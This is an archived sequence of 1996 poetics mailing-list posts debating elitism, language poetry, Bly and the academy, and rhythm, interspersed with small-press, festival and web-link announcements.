So, then, what would a subversion of that primal impulse look like? An academicism? Were Bly and Kinnell academic poets, subverting some radical impulse (e.g. Snyder's and.. whose?), or were they uninteresting in some totally new direction? And what exactly is problematic with an academicized or bandwagon language poetry. It sounds like fun of the most awful and tedious kind. (The rock and roll stations in new york have dropped the classic rock format and now only play "modern rock"--commercial alternative.) That kind of fun, if repeated way past ad nauseam, might actually get us somewhere.

(Or, the only thing that keeps the class distinction going is the prolonged _uncanny luck_ of the so-called ruling class? Where does the structural duplication of class function for intellectual workers and proletariat workers lead--nowhere, buddy. I don't think ((even with thousands of hours of M*A*S*H, Cheers and Miami Vice under my hat)) that film and television are the _new poetries_ as Rowe suggests in Cabri's post--anybody grok Wm Gibson's _Difference Engine_ in which Keats gives up med school for computer graphics? ((I thought "difference engine" meant Gibson was studying Bakhtin)) I think poetry is the new poetry, and not to be too too boosterish, I think the time for keen analysis of the decay of our situation is (ahem, always-already?) past.

lost,
Jordan

PS new from Golden Books, 132 N First St Apt 2, Brooklyn NY 11211
A Little Gold Book
$5, 16 pp., 4 1/2 x 5 1/2", mylar, vellum, colored papers (three poems)

↑ Index

132. David Golumbia
Re: outside in the web press
Wed 10 Jan 1996

Chris, man, this is getting too complicated for me. labor theory of surplus value, monopoly capital, third world exploitation, yadda yadda yadda. Sweezey, Schumpeter, R.P. Wolff. Besides, I mostly agree with most of what you wrote. And we may soon come under the D. Higgins rule for non-poetics POETICS talk. Now, what about those Knicks? (but I don't follow sports -- alienation of the masses, fetishization of success and competitation, etc.).

--
[redacted]
David Golumbia

↑ Index

133. Gale Nelson
Re: sympathy for the individual
Wed 10 Jan 1996

Thank you for Jordan, for wading in where some of us have hesitated. The question, "Where is the dividing line -- between persons who engage in langpo-type writing because of their commitment to a (whatever) perceived subversive/liberatory potential, and those who, especially through the academy, do so because it's the thing to do of the moment -- and might be the Blys or Kinnells (Jrs) of another day." [remember this began with "The question..."] implies that some poetries are more real than others, and that it requires the right intention for the work to matter. It also suggests that non-confessional poetry is BIG at the moment in such ways that I don't quite perceive. Almost a decade ago, I suggested to Charles Bernstein that Langugae Poetry had "won" -- had earned its place within the larger poetic context (and along with say "Burning Deck" poetry, was primary to many of us who had finally found poetry that made us _care_ about poetry). But, as Marjorie Perloff suggested only a few months ago, (and this is a paraphrase) it ain't that rosy for the language-oriented poet. Who wins the prizes? Who gets the NEA fellowships, state arts fellowships? Whose books are big? Occasionally it is someone whose work delights me. Often, that is far from the case. So let's start a civil war among those who are doing curious work? Let's throw out those who don't _seem_ to be true believers? I'm sorry to say, we don't have Andre Breton to serve as judge and jury... Or rather, I'm happy to say so.

Now, I'm getting off my high horse.

Cheers, Gale

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134. Aldon L. Nielsen
Re: reet elite
Wed 10 Jan 1996

"How is it possible to _underestimate_ literature, literary criticism, the elaboration of a profoundly new method, and taking this to the masses, as one day, God willing, we shall take every God damn thing we are doing to the masses. Let them reject it. We will not assume that they will in advance."

--C. L. R. James 1948

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135. Bill Luoma
Langpo (fwd)
Wed 10 Jan 1996

ZURICH, Switzerland (Reuter) - Albert Hofmann, the Swiss chemist who invented LSD in 1943, celebrates his 90th birthday Thursday still convinced his discovery would have medical uses if research had not been blocked by a worldwide ban.

Hofmann accidently created ``acid'' while researching a migraine cure at Swiss chemical company Sandoz in Basle and became the world's first tripper by testing it on himself, resulting in a hallucinogenic bicycle ride home.

LSD became the trademark of the 1960s hippie generation, resulting in a complete ban under narcotics laws that ended research on its potential in medicinal and psychological treatment.

``They tossed out the baby with the bathwater,'' Hofmann told Reuters from his home near Basle. ``I regret that LSD was banned because it was done due to abuse by the drug culture, not due to its medical properties.''

Hofmann said he believes the drug should be made available to the medical profession, like heroin or morphine, and that psychiatrists should be able to test it in treating disorders.

Hofmann received numerous rewards in his career for less controversial discoveries, including substances for treating old age illnesses, post-birth bleeding and circulatory problems.

``I've been celebrating all week. Last weekend it was colleagues from around Europe, tomorrow I will have a small private party and at the weekend there's big family party,'' he said.

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136. Maria Damon
Re: reet elite
Wed 10 Jan 1996

right on aldon (courtesy of clr james). i'm getting to where i can tell yr posts by the titles alone. james's monition to not assume in advance the alienation of any particular type of discourse from the masses reminds me of one of my favorite anecdotes that i always tell my activist-oriented students when they complain about the elitist "difficulty" of much theory and poetry that is

ideologically "on the right side." cesaire was asked about the "elitism" of writing in a french, and with surrealistic techniques so sophisticated, erudite and inventive that the simple illiterate martiniquan peasant had no chance of understanding his verse. au contraire, he said, they have less difficulty than anyone in understanding it. reminds me also of susan schultz's piece in Chain, where she writes that the local Hawai'ian poets had no trouble w/ C Bernstein and enjoyed his visit there tremendously, though the well-meaning lit. faculty of U Hawai'i expressed concern about his inaccessibility to specifically those poets. md

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137. Joe Amato
lsd…
Wed 10 Jan 1996

---

re hoffman: well worth checking out is bobby rabyd's ht, _albert hoffman's strange mistake_ (also known as _lsd 50_, to celebrate the fiftieth anniversary of the discovery of acid)... it used to be available free at an ftp site, i'm sure it's someplace on the web...

joe

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138. Joe Aimone
New discussion list
Wed 10 Jan 1996

Please reproduce this announcement freely.

Announcement:

Discussion list for graduate students in the modern languages

E-Grad is intended principally as a sheltered but open forum for the concerns of graduate students in the modern languages. It is maintained by members of the Graduate Student Caucus, an allied organization of the MLA. As an allied organization, GSC does not represent the MLA. Rather, it is a group of its members, who are graduate students. You do not need to be a member of the MLA or the GSC to subscribe to E-Grad.

1) Send a message to

[redacted]

2) Leave everything else blank except for a line in the message section with:

subscribe e-grad firstname lastname

3) Shortly after that, you'll get a welcome message which you might want to save.

If you have problems or questions, please feel free to e-mail me (Alan Rea) at [redacted] and I'll be more than happy to help.

--

Joe Aimone
Department of English
University of California, Davis
[redacted]

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139. george hartley

Re: worldwide web presses

Wed 10 Jan 1996

Dear Chris Stroffolino---some brief impulsive responses (now 2 days late) to your response:

> 1. one must make several steps in order to "apply" spivack's statement to
>the question of whether language poetry is elitist.<

YES, but I'm interested in what these STEPS might be, how often we take these steps, what's at stake in these steps, and who or what steps along with us or against us or doesn't step at all (and who this "us" is or isn't).

> *2. echoing Marx's definition of what property is<*

Property, yes, but also technologies: one of the steps I'm thinking of is the sense of poetry "(whether lang or no)" as a type of technology or, perhaps more to the point, as often characterized as being dependent on types of technologies--educations, literacies, means of access. In other words (In Other Worlds), to what extent is the academy a privileged technology that makes poetry-technology accessible to us, even if we ourselves are not associated with and are not educated by such edu-technologies? Is this the same question as Ideological State Apparatuses? And what mechanisms for redirecting those "teaching machines" might there be? In the belly of the beast? Both poetry and education as means of productions? Re-appropriation?

or just:

> *3. "critics" and "academic" workers<*
> *not only does the poetry circulate in the academy, some of the poets do.<*
> *SHE TOO is implicated in "the teaching machine"<*
> *On one level, it seems the question must be taken out of the academy.<*

But can you take the academy out of the question? The way the charge is often posed: Doesn't poetry, especially "difficult" poetry, depend on a level of

education that is somehow beyond the average worker? what worker? SO: is this type of charge related to the charge that the production of the machinery of communications technology depends on exploitation? And what are the various relationships/reductions/steps involved in this kind of argumentation?

two different questions: access, exploitation?

> *4. WAKE UP AND SMELL THE COFFEE means stop over-comodifying INTELLECTUAL*
> *LABOUR-POWER in the academy ("publish or perish")*
>
> *5. certain poetries (whether lang or no)/ realpolitik/ academic workplace/ relationships/ global capitalism = steps*
>
> *6. But then we are all implicated---even the "easy to understand" poets.<*

allied/implicated

> *7. the proletarian interests she may claim to speak for become equally textualized<*

/poeticized?

> *8. the picture she paints of her antagonistic interlocutor seems purposely absurd<*

What are the possible politics of the absurd?

> *9. the current ideology of "middle classes" is an ideological ruse<*

CAPPUCINO and WORD PROCESSORS: consumption/production?

10.
> The YUPPIE-FLU "service economy" technocrat is as unhappy as
> robert bly,
> red handed with red-meat,
>
> Adamism atoms
> a very particular investment<

11. let them reject it
> even "literature against literature" as such)
> against our own interests
> the force of critique stops there,<

> *Justmaybe!<*
>
> *And one may long for a world that DOES NOT FORGET<*

a world-wide-web as mnemotechnics?

George Hartley

[redacted]

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140. Ron Silliman
Bly, the academy et al
Thu 11 Jan 1996

I've noted of late a few reference to Bly and Kinnell as academic poets. While both are very different poets to speak, it seems to me a fundamental mistake to characterize Bly as an academic. While he began very much as a conventional poet (you can find some rhymed stuff even if you look in old issues of Poetry from the very early 50s or maybe late 40s), he took a decisive step away from all that well before his first Wesleyan book came out way back when. I forget who his teachers were but the word Macleish runs around in the few remaining braincells I have in that vector left. In any event, to read the Fifties and later the Sixties, Bly was roundly attacking all things academic as well as all things New-American-Poetic. He was precisely the alternative to the New Am tradition available to young writers who felt outside or opposed to the academy. There is in fact a group from that period, including him, John Haines (an Alaskan farmer whose emerged as an active neocon I believe in the pages of the New Criterion) and Wendell Berry (a poet whom I like quite a bit) who all fall quite outside any taxonomy that would just divide the world into New American vs. academic. T'ain't so simple. Whatever one may think of Bly's work (and I think it's been drivel for decades), his forging an audience out of the New Age scene has been a very conscious strategy for creating a life of poetry that did not exist quite like that before.

Kinnell on the other hand has never been far from school. He, like Robert Hass, started his career very much as a protege of the late John Logan, a poet who seems quite non-canonized among the literary conservatives even as his students seem to have had just the opposite fate. There are poems in Logan's books worth reading (as almost all of Hass is worth reading) and I'm curious about the critical silence that seems to have fallen over that work. There's a pretty good collection of materials in the library in Buffalo, since he taught there for several years after departing SF State when he "came out."

Ron Silliman
[redacted]

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141. Chris Stroffolino
Re: worldwide web presses
Thu 11 Jan 1996

Dear George-- Since I find Spivack "hostile to poetry" I would still say "textualize" rather than "poeticize". As for whether poetry exploits, even if it's not "made available by" academia, I shall have to appeal to personal

experience. If we consider our "EDUCATION" to be that which distinguishes us, we are either arguing strictly from "pedigree" or we place a faith in the powers of formal education and value what used to be called "intellect" over wildness. And that may have ELITIST ramifications. Of course, the attack on "romanticism" or Jordan's "vitalism" that in some parts is levied, would point to the "always already" cultural privilege that is "mystified" by the terms "intuition" or "wildness." Either, these terms REALLY MEAN "HArvard" beneath it all, or they exclude others. Though the second is a chicken-egg question. Who excludes who? And who really cares? The question of elitism is often figured as a question of "audience development" and vice versa. To the extent one is indifferent to these questions or engages in them as much "in game" as "in earnest", one may feel "outside the teaching machine" or "culture industry." ---assuming the second is wider than the first. There is a myth that I don't always mind NOT being immune to, a memory of a desire for some kind of wild blue yonder or personal intimacy that either leaps over or is found in the nooks and crannies in the culture industry, and this may only be learned at school BY DEFAULT. If I had a stake in trying to prevent people from going to college (like the "system" increasingly seems to have), certainly to say "the best thing you can learn in school is that you can't learn anything in school" would be in my interests. But what if I wanted to assert that as a DEFENSE of our "noble profession" (though I am still a student, I mean "in the way the world speaks")? Perhaps this is the ABSURDITY--like people flocking to hear Dylan sing "you shouldn't let other people get your kicks for you." But what of those who can't afford school, and thus may be deluded into thinking (coz of TV, perhaps? An ISA Althusser downplayed too much) that they CAN learn something real and substantial from school besides a fashionable or marketable vocabulary, just as a virgin may be apt to believe that sex can solve his (if not her?) problems. And I could appeal to my own circumstances, "story" here. The father who wanted me tro join him in the factory. The mother who, in defiance, worked herself quite literarly to death to pay for an "education" she never had, and for which I am still in debt (even economically) for. Not to claim a BOOTSTRAP mentality here, but to say the TIME she bought me was what gave me access to "elite" poetry more than school. School, even for students, is more of a job. The fact that poetry doesn't pay for most can be seen as liberating, though I like Brecht's "Song of the cut=priced poet" too. Chris

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142. **Ron Silliman**
Re: reet elite
Thu 11 Jan 1996

Maria,

Your post (below) reminds me of something Kit Robinson says about how the only people who ever have any "difficulty" with his poems are certain kinds of grad students and Eng. Dept. faculty who appear to be reading impaired (Kit, if I'm misstating that or misplacing emphasis, please correct me). One more instance of grad school as a learning disorder.

I had a great experience once reading at the Maximum Security library in Folsom and working at Hospitality House in the Tenderloin of SF for years convinced me that this great divide between "difficult" poetry and "nonacademic" readers was mostly imposed by the markets of what gets distributed culturally in our society.

This does, however, bring up the one difficulty with the James quote Aldon used. The masses in that quote, as so often, seems to stand for a concept of people devoid of their ideological attachments, free radicals so to speak. But to be free of that is to be free of history, is it not? The masses in this sense is a remarkably unMarxian concept, yet it is one that Marxists of all stripes have appealed to for decades.

Ron

---------- right on aldon (courtesy of clr james). i'm getting to where i can tell yr posts by the titles alone. james's monition to not assume in advance the alienation of any particular type of discourse from the masses reminds me of one of my favorite anecdotes that i always tell my activist-oriented students when they complain about the elitist "difficulty" of much theory and poetry that is ideologically "on the right side." cesaire was asked about the "elitism" of writing in a french, and with surrealistic techniques so sophisticated, erudite and inventive that the simple illiterate martiniquan peasant had no chance of understanding his verse. au contraire, he said, they have less difficulty than anyone in understanding it. reminds me also of susan schultz's piece in Chain, where she writes that the local Hawai'ian poets had no trouble w/ C Bernstein and enjoyed his visit there tremendously, though the well-meaning lit. faculty of U Hawai'i expressed concern about his inaccessibility to specifically those poets. md

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143. Michael Boughn
Re: reet elite
Thu 11 Jan 1996

Would someone please explain what "elitism" means? Was John Coltrane elitist? Ornette Coleman? Who had the larger audience, Ezra Pound or Sun Ra? Did either one give a damn?

Mike
[redacted]

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144. Mark Roberts
(no subject)
Thu 11 Jan 1996

The following message has been posted by Australian Writing Online for The Sydney Fringe Writers Festival. Enquiries about the title or service listed below should be directed to The Sydney Fringe Writers Festival at the contacts listed.

Babel: The Sydney Fringe Writers Festival

Sunday 14 January 1996 Paddington Town Hall
presented by Ariel Booksellers & the Sydney Fringe Festival

Program

11am in the main hall

Young Sydney Poets

Trisha Pender
Michael Brennan
Rod Marsh
Kirsten Tranter
Jane Gibian
MC - Adrian Wiggins

1.30 lunch

2pm

Readings and discussion

Jane Sloan
Mandy Sayer
John A Scott
Anna Gibbs
Mc - Annemarie Lopez

3pm

Rosemary Sorensen will launch WASTE by Sarina Achilles (Local Consumption Press) in the Ern Malley Memorial Bar.

4.30pm in the Main Hall

fiction & performance

Tom Flood
berni m janssen
Tongue 'n' Groove
Mc - Tyler Coppin

Tickets per session $7/$5(conc), day pass $15/$10(conc). available from Ariel Bookstore 42 Oxford Street Paddington ph 02 [redacted] or The Sydney Fringe Festival Office ph 02 [redacted]. Tickets available at the door. Entry to the bookstore, bar and the launch of WASTE is free.

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145. Bill Luoma
Re: reet elite
Thu 11 Jan 1996

I haven't seen the Chain piece, but I wonder if Susan Schultz would comment. Especially in light of the mag she publishes, Tinfish, which contains some work that could be spoken about in similar terms as Cesaire's, epecially the piece by the woman whose name is too long to be conveniently typed out.

md wrote:
..reminds me also of susan schultz's
..piece in Chain, where she writes
..that the local Hawai'ian
..poets had no trouble w/ C Bernstein
..and enjoyed his visit there tremendously,
..though the well-meaning lit. faculty of
..U Hawai'i expressed concern about his
..inaccessibility to specifically those poets.

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146. Charles Alexander
Re: Bly, the academy et al
Thu 11 Jan 1996

Ron Silliman writes that it is a mistake to characterize Robert Bly as an academic poet, and that it is important to recognize that Bly is the fundamental figure in forging an audience for poetry out of the New Age scene.

The truth of Ron's observations is very obvious here in Minnesota, where Bly is the grand old poet, but where he is actually roundly criticized and dismissed in both academic and experimental or avant-garde (or post-New American Poetry?) circles. Still, he has the largest audience of anyone, and while it's an audience that, unlike the others, is not primarily made up of other poets, it's also one which has been quite activist -- in teaching, in starting presses, and in maintaining a poetic involvement with environmental and social causes and issues. Like Ron, I think most of what Bly has written for a long time is just dreck, but there are things I admire about his presence in the community, and I admire the activism and commitment of people I might characterize as his followers, particularly Thomas R. Smith and Paul Ferroes, although I have difficulty reading/hearing their poetry, too. And, while I'm not at all certain where Bly stands on what I might call more innovative lang & post-lang poetries, I have found that some of the strongest of his followers are a lot more willing to listen to arguments for such work than are the local academic poets.

charles

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147. Mark Wallace
Situation #11
Thu 11 Jan 1996

Situation #11 is now available, featuring the work of Cydney Chadwick, Rodrigo Toscano, Elizabeth Fodaski, Jeff Vetock, Jonathan Brannen, Cheryl Burket, Buck Downs, Abby C., and John Havelda.

Subscriptions are only $10 for four issues, or $3 for a single issue. Please contact me via e-mail ([redacted]) or at:

Situation
10402 Ewell Ave.
Kensington, MD 20895

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148. george hartley
border patrol
Thu 11 Jan 1996

why so hard and fast with these distinctions?

poetics talk/nonpoetics talk
academic/experimental, avant-garde, . . .
real language poets/wanna-bees ?

aren't the boundaries a little more fluid? Isn't that part of what's up here?

And lest I be seen as promoting some kind of trickle-down poetics (re: educational technologies, etc.), let me say that the presuppositons of my initial posting (Spivak's capuccino) must have been more opaque than I had imagined, so: I presupposed that the "elitism" question had already been settled (for many of the reasons that have since been posted) and was wondering if the drift of the discussion on the econopolitics of the Web Presses discussion might also be getting caught up in similar deadends?

Like all technologies and practices, I believe, we are all implicated in a host of relations which might be "against our own interests," sedimented with various surplus-values, and such, but still carry potential for a variety of uses. Looking both ways at once, I guess. Which means, how do we make sense of and use of this in-between (as I suggest above regarding the various policings of boundaries)?

But maybe the homology carries a lot more than I had hoped for.

George

↑ Index

149. { brad brace }
CORE.DUMP
Thu 11 Jan 1996

CORE.DUMP
----.----
----.----
----.----
----.----

CORE.DUMP evolutio:Core.Dump:no point-of-view

A massive collection of compact, entitled and engaging imagery. Long poetic lists.

Various small square images are identified by their 5,457 titles, a short sample is listed below. The imagery depicts embedded cultural (sexual-facial) expressions and is printed using a fine uniform halftone beneath an error-diffusion bitmap.

Each image and title is individually laser-printed on very light-weight, letter-size, imported (Chinese straw and hemp) archival papers. These elegant prints are very inexpensively available from the artist <[redacted]>; please specify which titles you'd prefer.

Eventually these images and captions will also be incorporated into a web-based, random-sequence, slide-show. The entire list of titles can be viewed at <http://www.teleport.com/~bbrace/core-dump.html>, or requested via e-mail.

--

Short Sample of CORE.DUMP List:

3671. Radiant-Light
3672. Radiant-Water
3673. Radical-Distinction
3674. Radical-Reforms
3675. Radio-Voice
3676. Ragged-Staring-Wretch
3677. Raging-Sea
3678. Raging-Tumult
3679. Rain-Falls
3680. Rallied-Round
3681. Random-Inquiries
3682. Random-Way
3683. Rang-Hollow
3684. Ranging-Alongside
3685. Rapid-Returns
3686. Rare-Explicit-Clarity
3687. Rare-Gas-Molecules
3688. Rather-Distrustful
3689. Rather-Good-Sort
3690. Rather-Guess
3691. Rather-Reckless
3692. Rather-Romantic
3693. Rather-Than-Wander-Further-About
3694. Rational-Reform
3695. Rational-Tradition
3696. Reaching-Back
3697. Readily-Discernible

3698. Ready-Directly
3699. Ready-Formed
3700. Ready-Rods
3701. Real-Fast
3702. Real-Friend
3703. Real-Knowledge
3704. Real-Repute
3705. Real-Return
3706. Real-Well
3707. Really-Wretched
3708. Reason-Speculates
3709. Reasonable-Surmises
3710. Reasons-Set-Forth
3711. Recalling-Some-Pleasant-Encounter
3712. Received-Wisdom
3713. Recent-Terror
3714. Recently-Reduced
3715. Reciprocal-Intimacy
3716. Recklessly-Arranged
3717. Reckoned-Something
3718. Reconciled-These-Things
3719. Record-Rise
3720. Recorded-Signals-Speaking
3721. Recorded-Smugglers
3722. Red-Letter-Day
3723. Red-Men
3724. Red-Roses
3725. Red-Silken-Wrapper
3726. Reddening-Over
3727. Redeem-Time
3728. Redundant-Days
3729. Reeling-Attempt
3730. Reeling-Scene
3731. Reflect-Nothing
3732. Reflected-Moonshine
3733. Reflecting-Rails
3734. Reflections-Just-Here
3735. Refreshing-Juice
3736. Refuse-Resurrections
3737. Refuse-Rocks
3738. Regal-Process
3739. Registering-Resolution

3740. Regretted-Recognition
3741. Regular-Features
3742. Regular-Intervals
3743. Regular-Meals
3744. Regular-Rhythm
3745. Regular-Seasons
3746. Regular-System
3747. Regular-Tinkle
3748. Regular-Turns
3749. Relatively-Established-Demand
3750. Relaxed-Tone
3751. Reliable-Particle-Count
3752. Reliable-Regular
3753. Religious-Obligations
3754. Reluctant-Particles
3755. Remained-Kneeling
3756. Remaining-Days
3757. Remaining-Rooted
3758. Remains-Intact
3759. Remains-Unsaid
3760. Remarkable-In-Themselves
3761. Remorseless-Service
3762. Remote-Harbors
3763. Remoter-Southern-Seas
3764. Remotest-Degree
3765. Remotest-Nooks
3766. Remotest-Water
3767. Remotest-Waters
3768. Renounce-Existence
3769. Repenting-Prophet
3770. Replace-Strategy-with-Technology
3771. Replaced-Beliefs-with-Systems
3772. Residual-Space
3773. Resolved-to-Satisfy
3774. Resounding-Crash
3775. Respective-Duties
3776. Restless-Glance
3777. Restless-Heart
3778. Restless-Needle
3779. Restrain-the-Gush
3780. Restrained-Passion
3781. Restricted-Motion

3782. Result-Rendering
3783. Retreat-Recedes
3784. Retreating-Slope-from-above-the-Brows
3785. Reveal-Harmonious-Orders
3786. Revelations-and-Allusions
3787. Reverential-Dexterity
3788. Revolved-Over
3789. Revolving-Images
3790. Rhythmic-Ratios
3791. Ribbed-and-Dented
3792. Ride-Rocking
3793. Rifled-Hearts
3794. Right-Along
3795. Right-Off
3796. Righteous-Souls
3797. Righteousness-Endureth-Forever
3798. Ring-Bolt
3799. Ringed-Horizon
3800. Rise-Rather
3801. Rise-and-Depart
3802. Rising-Chill-Embraced
3803. Rising-Steam
3804. Rising-to-the-Surface
3805. Roar-of-Breakers
3806. Roared-Forth
3807. Roaring-Streams
3808. Roasted-River-Horse
3809. Rocky-Shores
3810. Roll-Round
3811. Rolled-Away
3812. Rolled-Over
3813. Rolling-Hills
3814. Roman`s-Ruins-Run-Right
3815. Room-Papered
3816. Room-Roll
3817. Rose-Water-Snow
3818. Rotted-Remains
3819. Roughly-Rectangular
3820. Round-Globe-Over
3821. Round-Resembles
3822. Rows-to-Peer
3823. Royal-Rights

3824. Royal-Standard
3825. Royal-Stuff
3826. Rude-Attempt
3827. Rumpled-Reproduction
3828. Running-Great-Risk
3829. Running-Up-After-Me
3830. Running-Wild
3831. Runs-Roaring
3832. Ruptured-Hymen
3833. Rush-Repeat
3834. Rushing-Waters
3835. Sacred-Grove
3836. Sacred-Vesture
3837. Sacrificial-Blaze
3838. Sacrificial-Fire
3839. Sadly-Eroded-Stones
3840. Sadly-Fear
3841. Sadly-Need-Mending
3842. Sadly-Vitiated
3843. Sadly-Abridged
3844. Safe-Distance
3845. Safe-Keeping
3846. Sagging-String
3847. Said-Nothing
3848. Sail-Forbidden-Seas
3849. Salad-Fork
3850. Sallied-Out
3851. Salt-Sea
3852. Salted-Pork
3853. Salty-Aftertaste
3854. Same-Ancient
3855. Same-Dull-Voice
3856. Same-Extent
3857. Same-Fate

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-eof-

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{ brad brace } <<<< [redacted] >>>> ~finger for pgp

The 12hr-ISBN-JPEG Project: ftp.netcom.com/pub/bb/bbrace
continuous hypermodern ftp.teleport.com/users/bbrace

photo-art: ftp.pacifier.com/pub/users/bbrace
--
Usenet: alt.binaries.pictures.12hr / a.b.p.fine-art.misc
Mailing-list: [redacted] / subscribe 12hr-isbn-jpeg
-> Reverse Solidus: http://www.teleport.com/~bbrace/bbrace.html

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150. Charles Smith
Re: reet elite
Thu 11 Jan 1996

Mike,

doesn't elitism usually mean "I don't like that, or understand that & don't want to deal with it & have this terrible desire to devalue it"???

& along the lines of Maria's & Ron's recent posts, Henry Threadgill once told me years ago that in the early days of the AACM, some of their best audiences weren't from the established ranks of jazz lovers, but people who wandered into concerts off the streets with no preconditioned notion of what should be played/heard...

Charles Smith

"Would someone please explain what "elitism" means? Was John Coltrane elitist? Ornette Coleman? Who had the larger audience, Ezra Pound or Sun Ra? Did either one give a damn?"

Mike
[redacted]

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151. Maria Damon
Re: reet elite
Thu 11 Jan 1996

---

ron: thanks for the info-response. i myself have taught paul fussell, british world war I poetry both flowery and blunt, etc., to barely literate "moderate special needs" high school students, and they had no trouble grasping the finer points, as potential cannon fodder themselves. your point about no such things as ahistorical masses resonates with a book i've just been reading and had to put down before mla, jacques ranciere's The Names of History, in which he criticizes NeoMarxist historians (braudel, ep thompson etc) for dehumanizing the masses they claim to write on behalf of. their scientistic ambitions for

historiography, he claims, have made ciphers of historical (albeit perhaps anonymous) agents.--maria d

↑ Index

152. Tom Beard
Sappho on the Web
Thu 11 Jan 1996

> *have you stumbled on a sappho link?*

Yes, Bill, I found several. The one that I linked into my article is: http://www.uky.edu/ArtsSciences/Classics/biblio/sappho.html, but there were others.

This one, entitled "Diotima's Bibliography", contains quite a few scholarly links, but I didn't find any links to poems (there may be some of Sappho's poems in some of the Classical archives scattered about the net). When I did a Web search on "Sappho", most of the hits were on archives from various Lesbian mailing lists with "Sappho" in the title, but there were a number of links relating to the poet herself.

Cheers,

Tom.

I/am a background/process, shrunk to an icon. | Tom Beard I am/a dark place. | [redacted] I am less/than the sum of my parts... | Auckland, New Zealand I am necessary/but not sufficient, | http://www.met.co.nz/ and I shall teach the stars to fall | nwfc/beard/www/hallway.html

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153. Thomas Bell
rhythm
Fri 12 Jan 1996

On Jan 8, Ward Tietz wrote:
>This is a stirring argument [Amittai by Bell on rhythm], one that quite openly ventures to restore a transcendent quality to poetry. To be possible , at least on my reading of this excerpt, this seems to depend on a change of emphasis, form "representation" to "enactment," on the level of production and reception. This I find a very timely and provocative idea, since it gets to the very base of mediation. Enactment probably should begin to replace representation in certain contexts, but how can this be implemented? <

I agree wholeheartedly here. I think this is probably what Amittai intended as his focus is on the body. I did have an article on this issue in _The Journal of Poetry Therapy_ several years ago.

But you go on to say:

> This is in part a semiotic argument. As far as I can tell from this excerpt Amittai is arguing for rhythm, because he believes it can evade, and therefore by extension, transcend signification. This is probably not true. Ray Birdwhistell's work in kinesics ("Kinesics and Context," U of Pennsylvania P, 1970) proved that at least for some bodily movements there are isolatable "kinemes," signifying units of movement and motion. In his experiments he was able to isolate some twenty-odd kinemes of the face and head. A more thorough investigation of rhythm would probably find it no less mysterious<

I don't follow the relevance of lack of mystery. If I recall correctly Birdwhistle also did similar work on bird's songs and there is a lot of research on components of facial expressions of emotion in humans. Both song and emotional expression are sublime to my way of thinking. And both of these are also enactments of the unconscious, the spiritual, or the body (there is, by the way, an extensive body of theroretical and research literature on kinesthetic psychology - _not_ psychoanalytically based).

On another issue you raise above: On my reading, Amittai is saying that rhythm attempts to "evade and...transcend signification" even though that attempt is doomed to failure.

Tom Bell
Music City (Nashville)

BTW, I didn't post the Amittai excepts to become an apologist for them.

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154. Ward Tietz
rhythm, again
Fri 12 Jan 1996

Considering Tom Bell's recent remarks, let me elaborate a little on my posting of January 8th on rhythm.

One of the things I said was, "Discounting the transcendent quality of Amittai's argument, I would tend to agree that more kinesthetic or kinemic approaches to

literature would be useful. The distinction between a linguistic (language by itself) and a paralinguistic (meaningful activity coincident with language) analysis should probably not be maintained. The difficulty of this approach is that it demands an almost complete reevaluation of spatial and temporal models...."

I offered the Birdwhistell material to illustrate what I think is a common misperception in some discussions of movement and rhythm, namely, that movement is somehow unmediated or uncoded and is expressed and perceived more directly than language. This I understand to be a result of splitting language off from other paralinguistic phenomena (things like rhythm, gesture, intonation etc.) coincident to it. As I mentioned before I think we do this to our detriment.

I said "A more thorough investigation of rhythm would find it no less mysterious," because the work of Birdwhistell and others in paralinguistics was in large part able to demystify quite a lot of territory that was previously mysterious.

One of the classic examples in Zoosemiotics, the branch of animal semiotics that Thomas Sebeok pioneered, explained how the horse Clever Hans could add and subtract numbers given to him by his trainer. What Sebeok found was that Clever Hans was clever, but not in the way some people had thought; he was responding to various signs given unconsciously by the trainer and since the trainer knew the answer to what was asked Clever Hans was only reading the gestural "answer" code of the trainer that he had been trained to read. Up until that point Clever Hans' mathematical ability was a mystery.

We may need to retain transcendence and mystery somewhere for that which we can't explain, but as I said before, I think this mystery as it exists for rhythm and poetry is a result of splitting language off from a much larger and richer expressive sphere in the first place.

Ward Tietz

↑ Index

155. **Jordan Davis**
Re: rhythm, again
Fri 12 Jan 1996

---

so then how much of poetry is communicating information and how much (poetry community) of poetry is communicating _affect_

Jordan

↑ Index

156. Bill Luoma
hale
Fri 12 Jan 1996

hey Jordan,

roberto haleo's reading was very good last sun night at biblio's during the storm. four people where there. his pomes are bisons of the future.

dug & i then walked over the brooklyn bridge in the middle of dr antonio blizzardo and a guy was x-country scciiing @ midnight.

bill...

you are at biblio's sunday at 5:00, no?

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157. Susan Schultz
Re: reet elite
Fri 12 Jan 1996

I'll be happy to respond after I recover from my trip yesterday from D.C. to Honolulu by way of circling O'Hare for hours...though I'm not quite sure what you want my response to. My piece, by the way, was in A Poetics of Criticism.

Thanks much for asking and hello to everyone I met in Chicago and DC. Much fun.

Susan

On Thu, 11 Jan 1996, Bill Luoma wrote:

> *I haven't seen the Chain piece, but I wonder if Susan Schultz would comment.*
> *Especially in light of the mag she publishes, Tinfish, which contains some*
> *work that could be spoken about in similar terms as Cesaire's, epecially the*
> *piece by the woman whose name is too long to be conveniently typed out.*
>
> *md wrote:*
> *..reminds me also of susan schultz's*
> *..piece in Chain, where she writes*
> *..that the local Hawai'ian*
> *..poets had no trouble w/ C Bernstein*
> *..and enjoyed his visit there tremendously,*
> *..though the well-meaning lit. faculty of*
> *..U Hawai'i expressed concern about his*
> *..inaccessibility to specifically those poets.*

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158. FUNKHOUSER CHRISTOPH
web sites
Fri 12 Jan 1996

---

hpp nw r poetifolk

a couple of new & interesting web sites
for contemporary lit,

Levi Asher's LITERARY KICKS, which could benefit perhaps
from a bit of scholarization, but nonetheless found stuff
like Kaufman's "I have folded my sorrows" out there y mas
http://www.charm.net/~brooklyn/litkicks.html

Jim Carroll web page just up, http://www.bgsu.edu/~ccarter/carroll.htm

Sandbox magazine http://www.echonyc.com/~sandbox/

what URLs are you tuning in to lately?

an *incredible* amount of poetry out there . . .

-chris f http://www.albany.edu/~cf2785

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159. Aldon L. Nielsen
Re: Subject line that will disappoint Maria
Fri 12 Jan 1996

This from this week's _Los Angeles Sentinel_

60 Cops, 150 Students Clash in Leimert Park

In a troubling incident last Thursday, police clashed with students who were attending a weekly urban poetry workshop. Over 60 policement in riot gear converged on a crowd of about 150 workshop participants and closed it down. According to several eyewitnesses, when the crowd was slow to disperse and began to verbally protest, the officers reponded by prodding the crowd with batons. Professor Ben Caldwell, who teaches a class called Urban Art and Music at prestigious California Arts Institute said, "The workshop is an extension of my Cal Arts class."

_____
